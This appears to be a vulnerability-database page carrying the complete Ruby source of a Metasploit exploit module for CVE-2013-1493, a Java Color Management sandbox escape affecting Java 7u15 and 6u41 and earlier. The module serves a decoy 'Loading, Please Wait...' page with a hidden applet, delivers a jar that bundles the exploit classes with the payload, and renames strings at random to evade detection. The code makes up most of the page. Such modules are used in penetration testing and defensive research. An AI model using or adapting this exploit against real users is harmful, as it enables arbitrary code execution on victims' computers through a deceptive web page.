Lucene search
K

Java CMM Remote Code Execution

🗓️ 28 Mar 2013 00:00:00Reported by juan vazquezType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 60 Views

Java CMM Remote Code Execution. Exploits Color Management class in Java Applet to run arbitrary code. Affects Java 7u15 and earlier, 6u41 and earlier. Requires user acceptance to run malicious applet.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Java CMM Remote Code Execution Vulnerability
28 Mar 201300:00
zdt
IBM Security Bulletins
Security Bulletin: Tivoli Storage Productivity Center - Oracle CPU February 2013, April 2013
19 Aug 202218:23
ibm
IBM Security Bulletins
Security Bulletin: WebSphere Application Server updates to IBM SDK for Java Feb 2013 CPU
25 Sep 202220:45
ibm
IBM Security Bulletins
Security Bulletin: Tivoli Storage Productivity Center affected by vulnerabilities in OpenSSL (CVE-2013-0169, CVE-2012-2686, CVE-2013-0166)
19 Aug 202218:23
ibm
IBM Security Bulletins
Security Bulletin: Multiple vulnerabilities in IBM Rational Build Forge (CVE-2012-3213, CVE-2013-0419, CVE-2013-0423, CVE-2013-0424, CVE-2013-0425, CVE-2013-0426, CVE-2013-0427, CVE-2013-0428, CVE-2013-0433, CVE-2013-0434, CVE-2013-0435, CVE-2013-0437, C
17 Jun 201804:45
ibm
IBM Security Bulletins
Security Bulletin: Rational Functional Tester 8.x vulnerabilities due to security vulnerabilities in IBM JRE 7 SR3 or earlier, and non-IBM Java 7 (CVE-2013-0809, CVE-2013-1493, CVE-2013-0437, CVE-2012-1541, CVE-2013-0446, CVE-2012-3342, CVE-2013-0428)
7 May 201913:26
ibm
IBM Security Bulletins
Security Bulletin: Vulnerability in Rational Application Developer for WebSphere Software due to issues in IBM Java SDK (CVE-2013-0440, CVE-2013-0443, CVE-2013-0169)
5 Feb 202000:09
ibm
IBM Security Bulletins
Security Bulletin: IBM Operational Decision Manager and WebSphere ILOG JRules: Multiple security vulnerabilities in IBM JRE 6.0
25 Sep 202223:13
ibm
IBM Security Bulletins
Security Bulletin: IBM Smart Analytics System 5600 is affected by vulnerabilities in the IBM Java SDK
25 Sep 202221:06
ibm
IBM Security Bulletins
Security Bulletin: TADDM 7.2.1.4: Vulnerabilities in embedded JRE.
25 Sep 202221:06
ibm
Rows per page
`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'rex'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::EXE  
  
include Msf::Exploit::Remote::BrowserAutopwn  
autopwn_info({ :javascript => false })  
  
def initialize( info = {} )  
  
super( update_info( info,  
'Name' => 'Java CMM Remote Code Execution',  
'Description' => %q{  
This module abuses the Color Management classes from a Java Applet to run  
arbitrary Java code outside of the sandbox as exploited in the wild in February  
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41  
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1  
systems. This exploit doesn't bypass click-to-play, so the user must accept the java  
warning in order to run the malicious applet.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Unknown', # Vulnerability discovery and Exploit  
'juan vazquez' # Metasploit module (just ported the published exploit)  
],  
'References' =>  
[  
[ 'CVE', '2013-1493' ],  
[ 'OSVDB', '90737' ],  
[ 'BID', '58238' ],  
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],  
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],  
[ 'URL', 'http://pastie.org/pastes/6581034' ]  
],  
'Platform' => [ 'win', 'java' ],  
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },  
'Targets' =>  
[  
[ 'Generic (Java Payload)',  
{  
'Platform' => 'java',  
'Arch' => ARCH_JAVA  
}  
],  
[ 'Windows x86 (Native Payload)',  
{  
'Platform' => 'win',  
'Arch' => ARCH_X86  
}  
]  
],  
'DefaultTarget' => 1,  
'DisclosureDate' => 'Mar 01 2013'  
))  
end  
  
  
def setup  
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "Init.class")  
@init_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }  
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "Leak.class")  
@leak_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }  
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "MyBufferedImage.class")  
@buffered_image_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }  
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "MyColorSpace.class")  
@color_space_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }  
  
@init_class_name = rand_text_alpha("Init".length)  
@init_class.gsub!("Init", @init_class_name)  
super  
end  
  
def on_request_uri(cli, request)  
print_status("handling request for #{request.uri}")  
  
case request.uri  
when /\.jar$/i  
jar = payload.encoded_jar  
jar.add_file("#{@init_class_name}.class", @init_class)  
jar.add_file("Leak.class", @leak_class)  
jar.add_file("MyBufferedImage.class", @buffered_image_class)  
jar.add_file("MyColorSpace.class", @color_space_class)  
metasploit_str = rand_text_alpha("metasploit".length)  
payload_str = rand_text_alpha("payload".length)  
jar.entries.each { |entry|  
entry.name.gsub!("metasploit", metasploit_str)  
entry.name.gsub!("Payload", payload_str)  
entry.data = entry.data.gsub("metasploit", metasploit_str)  
entry.data = entry.data.gsub("Payload", payload_str)  
}  
jar.build_manifest  
  
send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })  
when /\/$/  
payload = regenerate_payload(cli)  
if not payload  
print_error("Failed to generate the payload.")  
send_not_found(cli)  
return  
end  
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })  
else  
send_redirect(cli, get_resource() + '/', '')  
end  
  
end  
  
def generate_html  
html = %Q|<html><head><title>Loading, Please Wait...</title></head>|  
html += %Q|<body><center><p>Loading, Please Wait...</p></center>|  
html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@init_class_name}.class" width="1" height="1">|  
html += %Q|</applet></body></html>|  
return html  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation